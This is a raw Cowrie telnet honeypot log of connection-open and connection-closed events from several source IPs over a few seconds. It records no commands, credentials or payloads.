{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52824,"dst_ip":"159.203.135.109","dst_port":23,"session":"fda434df6e0b","protocol":"telnet","message":"New connection: 147.135.136.77:52824 (159.203.135.109:23) [session: fda434df6e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:21.405983Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":41212,"dst_ip":"159.203.135.109","dst_port":23,"session":"f65062020422","protocol":"telnet","message":"New connection: 168.119.91.149:41212 (159.203.135.109:23) [session: f65062020422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:21.668779Z"}
{"eventid":"cowrie.session.closed","duration":31.561193466186523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:21.819163Z","src_ip":"85.208.100.77","session":"ba0f149cfffd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45932,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffe32a65cfb5","protocol":"telnet","message":"New connection: 81.30.157.18:45932 (159.203.135.109:23) [session: ffe32a65cfb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:21.945596Z"}
{"eventid":"cowrie.session.closed","duration":30.83603286743164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:22.027280Z","src_ip":"51.79.21.139","session":"ac8f1e72a861","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52910,"dst_ip":"159.203.135.109","dst_port":23,"session":"437e0182d866","protocol":"telnet","message":"New connection: 147.135.136.77:52910 (159.203.135.109:23) [session: 437e0182d866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:22.031480Z"}
{"eventid":"cowrie.session.closed","duration":30.78347373008728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:22.037813Z","src_ip":"51.79.21.139","session":"32ed7191e9ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":60252,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a1c846239b0","protocol":"telnet","message":"New connection: 69.65.3.189:60252 (10.17.0.5:23) [session: 7a1c846239b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:22.048824Z"}
{"eventid":"cowrie.session.closed","duration":30.775723934173584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:22.054533Z","src_ip":"46.101.32.143","session":"229847e4feff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68865966796875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:22.061280Z","src_ip":"147.135.136.77","session":"d775ea31ae4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":47418,"dst_ip":"159.203.135.109","dst_port":23,"session":"69d7950388c8","protocol":"telnet","message":"New connection: 51.79.21.139:47418 (159.203.135.109:23) [session: 69d7950388c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:22.110498Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52930,"dst_ip":"159.203.135.109","dst_port":23,"session":"910e663e517c","protocol":"telnet","message":"New connection: 147.135.136.77:52930 (159.203.135.109:23) [session: 910e663e517c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:22.156340Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52926,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6fc187664f2","protocol":"telnet","message":"New connection: 147.135.136.77:52926 (159.203.135.109:23) [session: c6fc187664f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:22.160699Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":57240,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5774b0dbce3","protocol":"telnet","message":"New connection: 37.187.24.227:57240 (159.203.135.109:23) [session: b5774b0dbce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:22.192727Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52774,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a64adbf26b9","protocol":"telnet","message":"New connection: 147.135.136.77:52774 (159.203.135.109:23) [session: 4a64adbf26b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:22.253383Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":41244,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7903d2f619b","protocol":"telnet","message":"New connection: 168.119.91.149:41244 (159.203.135.109:23) [session: a7903d2f619b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:22.269894Z"}
{"eventid":"cowrie.session.closed","duration":30.692288398742676,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:22.355099Z","src_ip":"147.135.136.77","session":"8186c01d5ac4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52932,"dst_ip":"159.203.135.109","dst_port":23,"session":"603b206b7d04","protocol":"telnet","message":"New connection: 147.135.136.77:52932 (159.203.135.109:23) [session: 603b206b7d04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:22.516896Z"}
{"eventid":"cowrie.session.closed","duration":30.411970853805542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:22.585493Z","src_ip":"168.119.91.149","session":"9700ab864feb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52598,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8826e05b5bd","protocol":"telnet","message":"New connection: 147.135.136.77:52598 (159.203.135.109:23) [session: c8826e05b5bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:22.603117Z"}
{"eventid":"cowrie.session.closed","duration":30.694043397903442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:22.623301Z","src_ip":"168.119.91.149","session":"5f7a0eaa0f99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":58624,"dst_ip":"159.203.135.109","dst_port":23,"session":"f77cec81073e","protocol":"telnet","message":"New connection: 37.187.24.227:58624 (159.203.135.109:23) [session: f77cec81073e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:22.676869Z"}
{"eventid":"cowrie.session.closed","duration":30.515304565429688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:23.042198Z","src_ip":"51.79.21.139","session":"a7309589eac9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.001410007476807,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:23.090187Z","src_ip":"147.135.136.77","session":"600b28280e49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52942,"dst_ip":"159.203.135.109","dst_port":23,"session":"14ab81ff322b","protocol":"telnet","message":"New connection: 147.135.136.77:52942 (159.203.135.109:23) [session: 14ab81ff322b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:23.106346Z"}
{"eventid":"cowrie.session.closed","duration":30.98292303085327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:23.229099Z","src_ip":"51.79.21.139","session":"1215c0b5f108","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52958,"dst_ip":"159.203.135.109","dst_port":23,"session":"435540bc6c03","protocol":"telnet","message":"New connection: 147.135.136.77:52958 (159.203.135.109:23) [session: 435540bc6c03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:23.329127Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":46692,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e6dd46bc918","protocol":"telnet","message":"New connection: 85.208.100.77:46692 (159.203.135.109:23) [session: 1e6dd46bc918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:23.337561Z"}
{"eventid":"cowrie.session.closed","duration":30.987511157989502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:23.657755Z","src_ip":"168.119.91.149","session":"37d1849aea3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":41258,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0cf04d9f969","protocol":"telnet","message":"New connection: 168.119.91.149:41258 (159.203.135.109:23) [session: e0cf04d9f969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:23.706674Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":41268,"dst_ip":"159.203.135.109","dst_port":23,"session":"a26f2b3a3849","protocol":"telnet","message":"New connection: 168.119.91.149:41268 (159.203.135.109:23) [session: a26f2b3a3849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:23.732249Z"}
{"eventid":"cowrie.session.closed","duration":31.039114475250244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:23.783305Z","src_ip":"168.119.91.149","session":"8d07079713ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52964,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb1af5cd456f","protocol":"telnet","message":"New connection: 147.135.136.77:52964 (159.203.135.109:23) [session: bb1af5cd456f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:23.788218Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":41278,"dst_ip":"159.203.135.109","dst_port":23,"session":"97094f727d2a","protocol":"telnet","message":"New connection: 168.119.91.149:41278 (159.203.135.109:23) [session: 97094f727d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:23.804105Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45944,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3cafc69a447","protocol":"telnet","message":"New connection: 81.30.157.18:45944 (159.203.135.109:23) [session: f3cafc69a447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:23.852662Z"}
{"eventid":"cowrie.session.closed","duration":31.01676845550537,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:24.052936Z","src_ip":"147.135.136.77","session":"246767128409","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":41280,"dst_ip":"159.203.135.109","dst_port":23,"session":"4901c32080f9","protocol":"telnet","message":"New connection: 168.119.91.149:41280 (159.203.135.109:23) [session: 4901c32080f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:24.068884Z"}
{"eventid":"cowrie.session.closed","duration":30.838860034942627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:24.080293Z","src_ip":"37.187.24.227","session":"5466dd8009f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68719720840454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:24.101121Z","src_ip":"81.30.157.18","session":"0bf838e6e5b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90756607055664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:24.175067Z","src_ip":"81.30.157.18","session":"574b25fb743e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52972,"dst_ip":"159.203.135.109","dst_port":23,"session":"b538ce2d4513","protocol":"telnet","message":"New connection: 147.135.136.77:52972 (159.203.135.109:23) [session: b538ce2d4513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:24.256685Z"}
{"eventid":"cowrie.session.closed","duration":30.751049757003784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:24.519279Z","src_ip":"168.119.91.149","session":"9b62541ee0c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.509827375411987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:24.525710Z","src_ip":"168.119.91.149","session":"c1c556dabf76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":45018,"dst_ip":"159.203.135.109","dst_port":23,"session":"0319de0c240e","protocol":"telnet","message":"New connection: 149.102.133.101:45018 (159.203.135.109:23) [session: 0319de0c240e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:24.551317Z"}
{"eventid":"cowrie.session.closed","duration":30.939516067504883,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:24.560576Z","src_ip":"81.30.157.18","session":"10c06fbf2f07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.472891092300415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:24.565821Z","src_ip":"147.135.136.77","session":"83893aae3639","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":44114,"dst_ip":"159.203.135.109","dst_port":23,"session":"171fce46e55d","protocol":"telnet","message":"New connection: 81.30.157.18:44114 (159.203.135.109:23) [session: 171fce46e55d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:24.765901Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":44130,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6b2a8cd1cbf","protocol":"telnet","message":"New connection: 81.30.157.18:44130 (159.203.135.109:23) [session: b6b2a8cd1cbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:24.777981Z"}
{"eventid":"cowrie.session.closed","duration":31.551927089691162,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:24.868583Z","src_ip":"37.187.24.227","session":"376bdb6dd251","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89594006538391,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:25.050859Z","src_ip":"37.187.24.227","session":"db5c1ac97069","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.440497636795044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:25.064503Z","src_ip":"147.135.136.77","session":"dc50dff8e128","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03834295272827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:25.100636Z","src_ip":"51.79.21.139","session":"03d37ecacab4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46707248687744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:25.141971Z","src_ip":"81.30.157.18","session":"1e44e73c3fb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":46652,"dst_ip":"159.203.135.109","dst_port":23,"session":"d220931c9bb2","protocol":"telnet","message":"New connection: 51.79.21.139:46652 (159.203.135.109:23) [session: d220931c9bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:25.147094Z"}
{"eventid":"cowrie.session.closed","duration":31.487761974334717,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:25.165342Z","src_ip":"168.119.91.149","session":"5a60636ab11e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02986788749695,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:25.171877Z","src_ip":"51.79.21.139","session":"35949eb232c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":44142,"dst_ip":"159.203.135.109","dst_port":23,"session":"735523dcac9f","protocol":"telnet","message":"New connection: 81.30.157.18:44142 (159.203.135.109:23) [session: 735523dcac9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:25.177401Z"}
{"eventid":"cowrie.session.closed","duration":30.326812267303467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:25.470058Z","src_ip":"168.119.91.149","session":"d213c0a36ce9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":52986,"dst_ip":"159.203.135.109","dst_port":23,"session":"7634fc4bc859","protocol":"telnet","message":"New connection: 147.135.136.77:52986 (159.203.135.109:23) [session: 7634fc4bc859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:25.489265Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":41294,"dst_ip":"159.203.135.109","dst_port":23,"session":"736ec574f7c3","protocol":"telnet","message":"New connection: 168.119.91.149:41294 (159.203.135.109:23) [session: 736ec574f7c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:25.640038Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":44144,"dst_ip":"159.203.135.109","dst_port":23,"session":"91a5244bf75c","protocol":"telnet","message":"New connection: 81.30.157.18:44144 (159.203.135.109:23) [session: 91a5244bf75c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:25.912741Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":41336,"dst_ip":"159.203.135.109","dst_port":23,"session":"478b900dd84a","protocol":"telnet","message":"New connection: 168.119.91.149:41336 (159.203.135.109:23) [session: 478b900dd84a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:26.021145Z"}
{"eventid":"cowrie.session.closed","duration":30.507844924926758,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:26.038185Z","src_ip":"147.135.136.77","session":"a2a91a62a814","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.250330448150635,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:26.092317Z","src_ip":"147.135.136.77","session":"5192c6bfe433","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.134974718093872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:26.116720Z","src_ip":"51.79.21.139","session":"e302e4d7764e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":41348,"dst_ip":"159.203.135.109","dst_port":23,"session":"df38946af8cd","protocol":"telnet","message":"New connection: 168.119.91.149:41348 (159.203.135.109:23) [session: df38946af8cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:26.125941Z"}
{"eventid":"cowrie.session.closed","duration":30.987972259521484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:26.137744Z","src_ip":"149.102.133.101","session":"4ca0e6fdfc53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.804166555404663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:26.265927Z","src_ip":"81.30.157.18","session":"21036bbaa052","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46524,"dst_ip":"159.203.135.109","dst_port":23,"session":"60cf8bbfcca8","protocol":"telnet","message":"New connection: 147.135.136.77:46524 (159.203.135.109:23) [session: 60cf8bbfcca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:26.319455Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46534,"dst_ip":"159.203.135.109","dst_port":23,"session":"f110ec587026","protocol":"telnet","message":"New connection: 147.135.136.77:46534 (159.203.135.109:23) [session: f110ec587026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:26.468266Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":41360,"dst_ip":"159.203.135.109","dst_port":23,"session":"050d0a6f1bc1","protocol":"telnet","message":"New connection: 168.119.91.149:41360 (159.203.135.109:23) [session: 050d0a6f1bc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:26.701421Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":44156,"dst_ip":"159.203.135.109","dst_port":23,"session":"343851d640ed","protocol":"telnet","message":"New connection: 81.30.157.18:44156 (159.203.135.109:23) [session: 343851d640ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:26.902242Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46540,"dst_ip":"159.203.135.109","dst_port":23,"session":"9553da1aa401","protocol":"telnet","message":"New connection: 147.135.136.77:46540 (159.203.135.109:23) [session: 9553da1aa401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:27.049023Z"}
{"eventid":"cowrie.session.closed","duration":31.061819314956665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:27.143268Z","src_ip":"81.30.157.18","session":"7a5da66081fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.782956838607788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:27.195758Z","src_ip":"147.135.136.77","session":"a0b283dd42d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":46658,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a31cbc2a4c2","protocol":"telnet","message":"New connection: 51.79.21.139:46658 (159.203.135.109:23) [session: 1a31cbc2a4c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:27.510043Z"}
{"eventid":"cowrie.session.closed","duration":30.50580930709839,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:27.560031Z","src_ip":"168.119.91.149","session":"d470f7151aaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":44166,"dst_ip":"159.203.135.109","dst_port":23,"session":"5df0cdab3e89","protocol":"telnet","message":"New connection: 81.30.157.18:44166 (159.203.135.109:23) [session: 5df0cdab3e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:27.594223Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":44170,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1eb45f397d6","protocol":"telnet","message":"New connection: 81.30.157.18:44170 (159.203.135.109:23) [session: b1eb45f397d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:27.705733Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":33022,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5635be2e57e","protocol":"telnet","message":"New connection: 69.65.3.189:33022 (10.17.0.5:23) [session: f5635be2e57e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:27.756314Z"}
{"eventid":"cowrie.session.closed","duration":30.81122636795044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:28.016886Z","src_ip":"51.79.21.139","session":"e6448b4c30cd","protocol":"telnet"}
